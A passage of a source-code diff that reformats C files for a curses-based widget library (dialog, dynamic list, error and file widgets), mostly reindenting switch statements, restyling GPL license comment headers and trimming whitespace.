- /* is the mouse event within our edges ? */ - if (wenclose(ww->win, mouse->y, mouse->x)) { - wdg_set_focus(wo); - /* if the mouse click was over a button */ - if (wdg_dialog_mouse_move(wo, mouse) == WDG_E_SUCCESS) - wdg_dialog_callback(wo); - } else - return -WDG_E_NOTHANDLED; - break; + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(ww->win, mouse->y, mouse->x)) { + wdg_set_focus(wo); + /* if the mouse click was over a button */ + if (wdg_dialog_mouse_move(wo, mouse) == WDG_E_SUCCESS) + wdg_dialog_callback(wo); + } else + return -WDG_E_NOTHANDLED; + break; - case KEY_LEFT: - case KEY_RIGHT: - wdg_dialog_move(wo, key); - wdg_dialog_redraw(wo); - break; + case KEY_LEFT: + case KEY_RIGHT: + wdg_dialog_move(wo, key); + wdg_dialog_redraw(wo); + break; - case KEY_RETURN: - wdg_dialog_callback(wo); - break; - - /* message not handled */ - default: - return -WDG_E_NOTHANDLED; - break; + case KEY_RETURN: + wdg_dialog_callback(wo); + break; + + /* message not handled */ + default: + return -WDG_E_NOTHANDLED; + break; } - + return WDG_E_SUCCESS; } @@ -296,44 +295,43 @@ static void wdg_dialog_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dialog, ww); size_t c = wdg_get_ncols(wo); - + /* fill the window with color */ wbkgdset(ww->win, COLOR_PAIR(wo->window_color)); werase(ww->win); - + /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); - + /* draw the borders */ box(ww->win, 0, 0); - + /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); - + /* there is a title: print it */ if (wo->title) { switch (wo->align) { - case WDG_ALIGN_LEFT: - wmove(ww->win, 0, 3); - break; - case WDG_ALIGN_CENTER: - wmove(ww->win, 0, (c - strlen(wo->title)) / 2); - break; - case WDG_ALIGN_RIGHT: - wmove(ww->win, 0, c - strlen(wo->title) - 3); - break; + case WDG_ALIGN_LEFT: + wmove(ww->win, 0, 3); + break; + case WDG_ALIGN_CENTER: + wmove(ww->win, 0, (c - strlen(wo->title)) / 2); + break; + case WDG_ALIGN_RIGHT: + wmove(ww->win, 0, c - strlen(wo->title) - 3); + break; } wprintw(ww->win, wo->title); } - + /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); - } /* @@ -346,7 +344,7 @@ void wdg_dialog_text(wdg_t *wo, size_t flags, const char *text) ww->flags = flags; WDG_SAFE_STRDUP(ww->text, text); - + /* mark the buttons to be used */ if (ww->flags & WDG_OK) { ww->buttons[0].selected = 1; @@ -390,8 +388,8 @@ static void wdg_dialog_get_size(struct wdg_object *wo, size_t *lines, size_t *co /* initialize them */ *lines = 1; *cols = 0; - - /* + + /* * parse the text message and find how many '\n' are present. * also calculate the longest string between two '\n' */ @@ -413,11 +411,10 @@ static void wdg_dialog_get_size(struct wdg_object *wo, size_t *lines, size_t *co /* if there were no '\n' */ if (*cols == 0) *cols = t; - + if (ww->flags != WDG_NO_BUTTONS) /* add the lines for the buttons */ *lines += 2; - } /* @@ -431,55 +428,55 @@ static void wdg_dialog_buttons(struct wdg_object *wo) /* no button to be displayed */ if (ww->flags == WDG_NO_BUTTONS) return; - + /* get the line of the message */ wdg_dialog_get_size(wo, &l, &c); /* calculate the length of the buttons */ - for (i = 0; i < WDG_DIALOG_MAX_BUTTON; i++) + for (i = 0; i < WDG_DIALOG_MAX_BUTTON; i++) if (ww->buttons[i].selected) c -= strlen(ww->buttons[i].label); /* move the cursor to the right position (centered) */ wmove(ww->sub, l - 1, c / 2); - + /* print the buttons */ for (i = 0; i < WDG_DIALOG_MAX_BUTTON; i++) { if (ww->buttons[i].selected) { if (ww->focus_button == i) wattron(ww->sub, A_REVERSE); - + wprintw(ww->sub, "%s", ww->buttons[i].label); - + wattroff(ww->sub, A_REVERSE); } } } /* - * move the focus thru menu units + * move the focus thru menu units */ static void wdg_dialog_move(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_dialog, ww); int i = ww->focus_button; - - switch(key) { - case KEY_RIGHT: - /* move until we found a selected button */ - while (!ww->buttons[++i].selected); - /* if we are in the edges, set the focus to the new button */ - if ( i < WDG_DIALOG_MAX_BUTTON && ww->buttons[i].selected) - ww->focus_button = i; - break; - - case KEY_LEFT: - /* move until we found a selected button */ - while (!ww->buttons[--i].selected); - /* if we are in the edges, set the focus to the new button */ - if (i >= 0 && ww->buttons[i].selected) - ww->focus_button = i; - break; + + switch (key) { + case KEY_RIGHT: + /* move until we found a selected button */ + while (!ww->buttons[++i].selected) ; + /* if we are in the edges, set the focus to the new button */ + if (i < WDG_DIALOG_MAX_BUTTON && ww->buttons[i].selected) + ww->focus_button = i; + break; + + case KEY_LEFT: + /* move until we found a selected button */ + while (!ww->buttons[--i].selected) ; + /* if we are in the edges, set the focus to the new button */ + if (i >= 0 && ww->buttons[i].selected) + ww->focus_button = i; + break; } } @@ -492,7 +489,7 @@ static int wdg_dialog_mouse_move(struct wdg_object *wo, struct wdg_mouse_event * size_t y = wdg_get_begin_y(wo); size_t x = wdg_get_begin_x(wo); size_t i, l, c; - + /* get the line of the message */ wdg_dialog_get_size(wo, &l, &c); @@ -501,23 +498,23 @@ static int wdg_dialog_mouse_move(struct wdg_object *wo, struct wdg_mouse_event * return -WDG_E_NOTHANDLED; /* calculate the length of the buttons */ - for (i = 0; i < WDG_DIALOG_MAX_BUTTON; i++) + for (i = 0; i < WDG_DIALOG_MAX_BUTTON; i++) if (ww->buttons[i].selected) c -= strlen(ww->buttons[i].label); /* buttons start here */ x += c / 2; - + for (i = 0; i < WDG_DIALOG_MAX_BUTTON; i++) { /* if the mouse is over a title */ - if (mouse->x >= x && mouse->x < x + strlen(ww->buttons[i].label) ) { + if (mouse->x >= x && mouse->x < x + strlen(ww->buttons[i].label)) { ww->focus_button = i; return WDG_E_SUCCESS; } - /* move the pointer */ + /* move the pointer */ x += strlen(ww->buttons[i].label); - } - + } + return -WDG_E_NOTHANDLED; } @@ -529,9 +526,9 @@ static void wdg_dialog_callback(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dialog, ww); void (*callback)(void); - + WDG_DEBUG_MSG("wdg_dialog_callback"); - + callback = ww->buttons[ww->focus_button].callback; wdg_destroy_object(&wo); wdg_redraw_all(); @@ -547,13 +544,13 @@ void wdg_dialog_add_callback(wdg_t *wo, size_t flag, void (*callback)(void)) if (flag & WDG_OK) ww->buttons[0].callback = callback; - + if (flag & WDG_YES) ww->buttons[1].callback = callback; - + if (flag & WDG_NO) ww->buttons[2].callback = callback; - + if (flag & WDG_CANCEL) ww->buttons[3].callback = callback; } @@ -561,4 +558,3 @@ void wdg_dialog_add_callback(wdg_t *wo, size_t flag, void (*callback)(void)) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_dynlist.c b/src/interfaces/curses/widgets/wdg_dynlist.c index 19ad83733..4441ef737 100644 --- a/src/interfaces/curses/widgets/wdg_dynlist.c +++ b/src/interfaces/curses/widgets/wdg_dynlist.c @@ -1,23 +1,23 @@ /* - WDG -- dynamic list widget - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- dynamic list widget + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -62,13 +62,13 @@ static int wdg_dynlist_callback(struct wdg_object *wo, int key); /*******************************************/ -/* +/* * called to create a window */ void wdg_create_dynlist(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_dynlist"); - + /* set the callbacks */ wo->destroy = wdg_dynlist_destroy; wo->resize = wdg_dynlist_resize; @@ -80,14 +80,14 @@ void wdg_create_dynlist(struct wdg_object *wo) WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_dynlist)); } -/* +/* * called to destroy a window */ static int wdg_dynlist_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dynlist, ww); struct wdg_dynlist_call *c; - + WDG_DEBUG_MSG("wdg_dynlist_destroy (%p)", wo); /* erase the window */ @@ -97,11 +97,11 @@ static int wdg_dynlist_destroy(struct wdg_object *wo) werase(ww->win); wnoutrefresh(ww->sub); wnoutrefresh(ww->win); - + /* dealloc the structures */ delwin(ww->sub); delwin(ww->win); - + /* free the callback list */ while (SLIST_FIRST(&ww->callbacks) != NULL) { c = SLIST_FIRST(&ww->callbacks); @@ -114,7 +114,7 @@ static int wdg_dynlist_destroy(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to resize a window */ static int wdg_dynlist_resize(struct wdg_object *wo) @@ -124,7 +124,7 @@ static int wdg_dynlist_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw a window */ static int wdg_dynlist_redraw(struct wdg_object *wo) @@ -134,9 +134,9 @@ static int wdg_dynlist_redraw(struct wdg_object *wo) size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); - + WDG_DEBUG_MSG("wdg_dynlist_redraw"); - + /* the window already exist */ if (ww->win) { /* erase the border */ @@ -144,19 +144,19 @@ static int wdg_dynlist_redraw(struct wdg_object *wo) werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); - + /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_dynlist_border(wo); - + /* resize the actual window and touch it */ mvwin(ww->sub, y + 2, x + 2); wresize(ww->sub, l - 4, c - 4); /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); - /* the first time we have to allocate the window */ + /* the first time we have to allocate the window */ } else { /* create the outher window */ @@ -169,7 +169,7 @@ static int wdg_dynlist_redraw(struct wdg_object *wo) /* create the inner (actual) window */ if ((ww->sub = newwin(l - 4, c - 4, y + 2, x + 2)) == NULL) return -WDG_E_FATAL; - + /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); werase(ww->sub); @@ -180,19 +180,19 @@ static int wdg_dynlist_redraw(struct wdg_object *wo) scrollok(ww->sub, FALSE); } - + /* refresh the window */ redrawwin(ww->sub); redrawwin(ww->win); wnoutrefresh(ww->win); wnoutrefresh(ww->sub); - + wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } -/* +/* * called when the window gets the focus */ static int wdg_dynlist_get_focus(struct wdg_object *wo) @@ -202,25 +202,25 @@ static int wdg_dynlist_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_dynlist_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the window looses the focus */ static int wdg_dynlist_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* redraw the window */ wdg_dynlist_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the window is focused */ static int wdg_dynlist_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) @@ -229,35 +229,35 @@ static int wdg_dynlist_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_ /* handle the message */ switch (key) { - case KEY_MOUSE: - /* is the mouse event within our edges ? */ - if (wenclose(ww->win, mouse->y, mouse->x)) { - if (wo->flags & WDG_OBJ_FOCUSED) - wdg_dynlist_mouse(wo, key, mouse); - else - wdg_set_focus(wo); - } else - return -WDG_E_NOTHANDLED; - break; - - case KEY_UP: - case KEY_DOWN: - case KEY_PPAGE: - case KEY_NPAGE: - wdg_dynlist_move(wo, key); - break; - - case KEY_RETURN: - if (ww->current) - WDG_EXECUTE(ww->select_callback, ww->current); - break; - - /* message not handled */ - default: - return wdg_dynlist_callback(wo, key); - break; + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(ww->win, mouse->y, mouse->x)) { + if (wo->flags & WDG_OBJ_FOCUSED) + wdg_dynlist_mouse(wo, key, mouse); + else + wdg_set_focus(wo); + } else + return -WDG_E_NOTHANDLED; + break; + + case KEY_UP: + case KEY_DOWN: + case KEY_PPAGE: + case KEY_NPAGE: + wdg_dynlist_move(wo, key); + break; + + case KEY_RETURN: + if (ww->current) + WDG_EXECUTE(ww->select_callback, ww->current); + break; + + /* message not handled */ + default: + return wdg_dynlist_callback(wo, key); + break; } - + return WDG_E_SUCCESS; } @@ -268,7 +268,7 @@ static void wdg_dynlist_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dynlist, ww); size_t c = wdg_get_ncols(wo); - + /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); @@ -278,39 +278,38 @@ static void wdg_dynlist_border(struct wdg_object *wo) /* draw the borders */ box(ww->win, 0, 0); - + /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); - + /* there is a title: print it */ if (wo->title) { switch (wo->align) { - case WDG_ALIGN_LEFT: - wmove(ww->win, 0, 3); - break; - case WDG_ALIGN_CENTER: - wmove(ww->win, 0, (c - strlen(wo->title)) / 2); - break; - case WDG_ALIGN_RIGHT: - wmove(ww->win, 0, c - strlen(wo->title) - 3); - break; + case WDG_ALIGN_LEFT: + wmove(ww->win, 0, 3); + break; + case WDG_ALIGN_CENTER: + wmove(ww->win, 0, (c - strlen(wo->title)) / 2); + break; + case WDG_ALIGN_RIGHT: + wmove(ww->win, 0, c - strlen(wo->title) - 3); + break; } wprintw(ww->win, wo->title); } - + /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); - } /* * set the callback for displaying the list */ -void wdg_dynlist_print_callback(wdg_t *wo, void * func(int mode, void *list, char **desc, size_t len)) +void wdg_dynlist_print_callback(wdg_t *wo, void *func(int mode, void *list, char **desc, size_t len)) { WDG_WO_EXT(struct wdg_dynlist, ww); - + WDG_DEBUG_MSG("wdg_dynlist_print_callback %p", func); ww->func = func; @@ -322,7 +321,7 @@ void wdg_dynlist_print_callback(wdg_t *wo, void * func(int mode, void *list, cha void wdg_dynlist_select_callback(wdg_t *wo, void (*callback)(void *)) { WDG_WO_EXT(struct wdg_dynlist, ww); - + WDG_DEBUG_MSG("wdg_dynlist_select_callback %p", callback); ww->select_callback = callback; @@ -337,7 +336,7 @@ void wdg_dynlist_add_callback(wdg_t *wo, int key, void (*callback)(void *)) struct wdg_dynlist_call *c; WDG_SAFE_CALLOC(c, 1, sizeof(struct wdg_dynlist_call)); - + c->key = key; c->callback = callback; @@ -354,13 +353,13 @@ static int wdg_dynlist_callback(struct wdg_object *wo, int key) SLIST_FOREACH(c, &ww->callbacks, next) { if (c->key == key) { - + WDG_DEBUG_MSG("wdg_dynlist_callback"); - + /* execute the callback only if current is not NULL */ if (ww->current) WDG_EXECUTE(c->callback, ww->current); - + return WDG_E_SUCCESS; } } @@ -368,7 +367,6 @@ static int wdg_dynlist_callback(struct wdg_object *wo, int key) return -WDG_E_NOTHANDLED; } - /* * refresh the list */ @@ -380,15 +378,15 @@ void wdg_dynlist_refresh(wdg_t *wo) size_t i = 0, found = 0; void *list, *next; char *desc; - + /* sanity check */ if (ww->func == NULL) return; - + /* erase the window */ werase(ww->sub); - /* + /* * update the top (on the first element) in two case: * top is not set * bottom is not set (to update the list over the current element) @@ -401,24 +399,24 @@ void wdg_dynlist_refresh(wdg_t *wo) /* no elements */ if (ww->top == NULL) return; - + WDG_SAFE_CALLOC(desc, 100, sizeof(char)); - + /* no current item, set it to the first element */ if (ww->current == NULL) ww->current = ww->top; - + /* if the top does not exist any more, set it to the first */ if (ww->func(0, ww->top, NULL, 0) == NULL) ww->top = ww->func(0, NULL, NULL, 0); - + /* start from the top element */ list = ww->top; /* print all the entry until the bottom of the window */ while (list) { next = ww->func(+1, list, &desc, 99); - + /* dont print string longer than the window */ if (strlen(desc) > c) desc[c] = 0; @@ -430,7 +428,7 @@ void wdg_dynlist_refresh(wdg_t *wo) whline(ww->sub, ' ', c); wprintw(ww->sub, "%s", desc); wattroff(ww->sub, A_REVERSE); - wmove(ww->sub, i+1, 0); + wmove(ww->sub, i + 1, 0); found = 1; } else { wprintw(ww->sub, "%s\n", desc); @@ -441,13 +439,13 @@ void wdg_dynlist_refresh(wdg_t *wo) ww->bottom = list; break; } else { - /* - * set to null, to have the bottom set only if the list + /* + * set to null, to have the bottom set only if the list * is as long as the window */ ww->bottom = NULL; } - + /* move the pointer */ list = next; } @@ -455,7 +453,7 @@ void wdg_dynlist_refresh(wdg_t *wo) /* if the current element does not exist anymore, set it to 'top' */ if (!found) ww->current = ww->top; - + WDG_SAFE_FREE(desc); wnoutrefresh(ww->sub); @@ -473,70 +471,70 @@ static void wdg_dynlist_move(struct wdg_object *wo, int key) /* retrieve the first element of the list */ first = ww->func(0, NULL, NULL, 0); - + switch (key) { - case KEY_UP: + case KEY_UP: + prev = ww->func(-1, ww->current, NULL, 0); + /* we are on the first element */ + if (ww->current == first) + return; + + /* move up the list if we are on the top */ + if (ww->current == ww->top) + ww->top = prev; + + /* update the current element */ + ww->current = prev; + + break; + + case KEY_DOWN: + next = ww->func(+1, ww->current, NULL, 0); + /* we are on the last element */ + if (next == NULL) + return; + + /* move the top if we are on the bottom (scroll the list) */ + if (ww->current == ww->bottom) + ww->top = ww->func(+1, ww->top, NULL, 0); + + /* update the current element */ + ww->current = next; + + break; + + case KEY_PPAGE: + + while (ww->current != first) { prev = ww->func(-1, ww->current, NULL, 0); - /* we are on the first element */ - if (ww->current == first) - return; - /* move up the list if we are on the top */ if (ww->current == ww->top) ww->top = prev; - /* update the current element */ ww->current = prev; - - break; - - case KEY_DOWN: - next = ww->func(+1, ww->current, NULL, 0); - /* we are on the last element */ - if (next == NULL) - return; - + /* move only one page */ + if (++i == l - 1) + break; + } + + break; + + case KEY_NPAGE: + + while ((next = ww->func(+1, ww->current, NULL, 0)) != NULL) { /* move the top if we are on the bottom (scroll the list) */ - if (ww->current == ww->bottom) + if (ww->current == ww->bottom) { ww->top = ww->func(+1, ww->top, NULL, 0); - + ww->bottom = ww->func(+1, ww->bottom, NULL, 0); + } /* update the current element */ ww->current = next; - - break; + /* move only one page */ + if (++i == l - 1) + break; + } - case KEY_PPAGE: - - while (ww->current != first) { - prev = ww->func(-1, ww->current, NULL, 0); - /* move up the list if we are on the top */ - if (ww->current == ww->top) - ww->top = prev; - /* update the current element */ - ww->current = prev; - /* move only one page */ - if (++i == l-1) - break; - } - - break; - - case KEY_NPAGE: - - while ((next = ww->func(+1, ww->current, NULL, 0)) != NULL) { - /* move the top if we are on the bottom (scroll the list) */ - if (ww->current == ww->bottom) { - ww->top = ww->func(+1, ww->top, NULL, 0); - ww->bottom = ww->func(+1, ww->bottom, NULL, 0); - } - /* update the current element */ - ww->current = next; - /* move only one page */ - if (++i == l-1) - break; - } - - break; + break; } wdg_dynlist_refresh(wo); @@ -554,14 +552,14 @@ static void wdg_dynlist_mouse(struct wdg_object *wo, int key, struct wdg_mouse_e void *next; /* variable currently not used */ - (void) key; - + (void)key; + /* calculate which line was selected */ line = mouse->y - y; /* calculate the distance from the top */ ww->current = ww->top; - + while (line != 0 && (next = ww->func(+1, ww->current, NULL, 0)) != NULL) { /* update the current element */ ww->current = next; @@ -579,7 +577,7 @@ static void wdg_dynlist_mouse(struct wdg_object *wo, int key, struct wdg_mouse_e } /* - * reset the focus pointer + * reset the focus pointer */ void wdg_dynlist_reset(wdg_t *wo) { @@ -588,11 +586,10 @@ void wdg_dynlist_reset(wdg_t *wo) ww->top = NULL; ww->current = NULL; ww->bottom = NULL; - + wdg_dynlist_refresh(wo); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_error.c b/src/interfaces/curses/widgets/wdg_error.c index c82424190..41aaff568 100644 --- a/src/interfaces/curses/widgets/wdg_error.c +++ b/src/interfaces/curses/widgets/wdg_error.c @@ -1,23 +1,23 @@ /* - WDG -- errors handling module - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- errors handling module + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -52,9 +52,9 @@ void wdg_error_msg(char *file, const char *function, int line, char *message, .. /* close the interface and display the error */ wdg_cleanup(); - - fprintf(stderr, "WDG ERROR : %d, %s\n[%s:%s:%d]\n\n %s \n\n", err_code, strerror(err_code), - file, function, line, errmsg ); + + fprintf(stderr, "WDG ERROR : %d, %s\n[%s:%s:%d]\n\n %s \n\n", err_code, strerror(err_code), + file, function, line, errmsg); exit(-err_code); } @@ -67,8 +67,8 @@ void wdg_bug(char *file, const char *function, int line, char *message) { /* close the interface and display the error */ wdg_cleanup(); - - fprintf(stderr, "\n\nWDG BUG at [%s:%s:%d]\n\n %s \n\n", file, function, line, message ); + + fprintf(stderr, "\n\nWDG BUG at [%s:%s:%d]\n\n %s \n\n", file, function, line, message); exit(-666); } @@ -76,4 +76,3 @@ void wdg_bug(char *file, const char *function, int line, char *message) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_file.c b/src/interfaces/curses/widgets/wdg_file.c index 90afba347..ba20306aa 100644 --- a/src/interfaces/curses/widgets/wdg_file.c +++ b/src/interfaces/curses/widgets/wdg_file.c @@ -1,23 +1,23 @@ /* - WDG -- file widget - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- file widget + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -31,7 +31,7 @@ #include #ifndef HAVE_SCANDIR - #include +#include #endif /* GLOBALS */ @@ -71,15 +71,15 @@ static void wdg_file_callback(struct wdg_object *wo, const char *path, char *fil /*******************************************/ -/* +/* * called to create the file dialog */ void wdg_create_file(struct wdg_object *wo) { struct wdg_file_handle *ww; - + WDG_DEBUG_MSG("wdg_create_file"); - + /* set the callbacks */ wo->destroy = wdg_file_destroy; wo->resize = wdg_file_resize; @@ -89,26 +89,26 @@ void wdg_create_file(struct wdg_object *wo) wo->get_msg = wdg_file_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_file_handle)); - - /* + + /* * remember the initial path. - * this has to be restored after the file is selected + * this has to be restored after the file is selected */ ww = (struct wdg_file_handle *)wo->extend; getcwd(ww->initpath, PATH_MAX); - + /* default geometry */ ww->x = 50; ww->y = 18; } -/* +/* * called to destroy the file dialog */ static int wdg_file_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_file_handle, ww); - + WDG_DEBUG_MSG("wdg_file_destroy"); /* erase the window */ @@ -121,7 +121,7 @@ static int wdg_file_destroy(struct wdg_object *wo) /* dealloc the structures */ delwin(ww->win); - + /* restore the initial working directory */ chdir(ww->initpath); @@ -130,7 +130,7 @@ static int wdg_file_destroy(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to resize the file dialog */ static int wdg_file_resize(struct wdg_object *wo) @@ -140,22 +140,22 @@ static int wdg_file_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw the file dialog */ static int wdg_file_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_file_handle, ww); size_t c, l, x, y; - + WDG_DEBUG_MSG("wdg_file_redraw"); - + /* default dimentions */ wo->x1 = (current_screen.cols - ww->x) / 2; wo->y1 = (current_screen.lines - ww->y) / 2; wo->x2 = -wo->x1; wo->y2 = -wo->y1; - + c = wdg_get_ncols(wo); l = wdg_get_nlines(wo); x = wdg_get_begin_x(wo); @@ -170,28 +170,27 @@ static int wdg_file_redraw(struct wdg_object *wo) /* erase the border */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); - /* destroy the file list */ + /* destroy the file list */ wdg_file_menu_destroy(wo); - + touchwin(ww->win); wnoutrefresh(ww->win); - + /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wbkgd(ww->win, COLOR_PAIR(wo->window_color)); werase(ww->win); - + /* create the file list */ wdg_file_menu_create(wo); touchwin(ww->win); wdg_file_borders(wo); - - /* the first time we have to allocate the window */ + /* the first time we have to allocate the window */ } else { /* create the menu window (fixed dimensions) */ @@ -204,27 +203,27 @@ static int wdg_file_redraw(struct wdg_object *wo) /* set the window color */ wbkgd(ww->win, COLOR_PAIR(wo->window_color)); redrawwin(ww->win); - + /* draw the titles */ wdg_file_borders(wo); /* no scrolling */ scrollok(ww->win, FALSE); } - + /* refresh the window */ touchwin(ww->win); wnoutrefresh(ww->win); touchwin(ww->mwin); wnoutrefresh(ww->mwin); - + wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } -/* +/* * called when the file dialog gets the focus */ static int wdg_file_get_focus(struct wdg_object *wo) @@ -234,25 +233,25 @@ static int wdg_file_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_file_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the file dialog looses the focus */ static int wdg_file_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* redraw the window */ wdg_file_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the file dialog is focused */ static int wdg_file_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) @@ -261,43 +260,43 @@ static int wdg_file_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_eve /* handle the message */ switch (key) { - - case KEY_MOUSE: - /* is the mouse event within our edges ? */ - if (wenclose(ww->win, mouse->y, mouse->x)) { - wdg_set_focus(wo); - /* pass it to the menu */ - if (wdg_file_driver(wo, key, mouse) != WDG_E_SUCCESS) - wdg_file_redraw(wo); - } else - return -WDG_E_NOTHANDLED; - break; - case KEY_RETURN: - case KEY_DOWN: - case KEY_UP: - case KEY_PPAGE: - case KEY_NPAGE: - /* move only if focused */ - if (wo->flags & WDG_OBJ_FOCUSED) { - if (wdg_file_driver(wo, key, mouse) != WDG_E_SUCCESS) - wdg_file_redraw(wo); - } else - return -WDG_E_NOTHANDLED; - break; - - case KEY_ESC: - case CTRL('Q'): - wdg_destroy_object(&wo); - wdg_redraw_all(); - break; - - /* message not handled */ - default: + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(ww->win, mouse->y, mouse->x)) { + wdg_set_focus(wo); + /* pass it to the menu */ + if (wdg_file_driver(wo, key, mouse) != WDG_E_SUCCESS) + wdg_file_redraw(wo); + } else return -WDG_E_NOTHANDLED; - break; + break; + + case KEY_RETURN: + case KEY_DOWN: + case KEY_UP: + case KEY_PPAGE: + case KEY_NPAGE: + /* move only if focused */ + if (wo->flags & WDG_OBJ_FOCUSED) { + if (wdg_file_driver(wo, key, mouse) != WDG_E_SUCCESS) + wdg_file_redraw(wo); + } else + return -WDG_E_NOTHANDLED; + break; + + case KEY_ESC: + case CTRL('Q'): + wdg_destroy_object(&wo); + wdg_redraw_all(); + break; + + /* message not handled */ + default: + return -WDG_E_NOTHANDLED; + break; } - + return WDG_E_SUCCESS; } @@ -308,7 +307,7 @@ static void wdg_file_borders(struct wdg_object 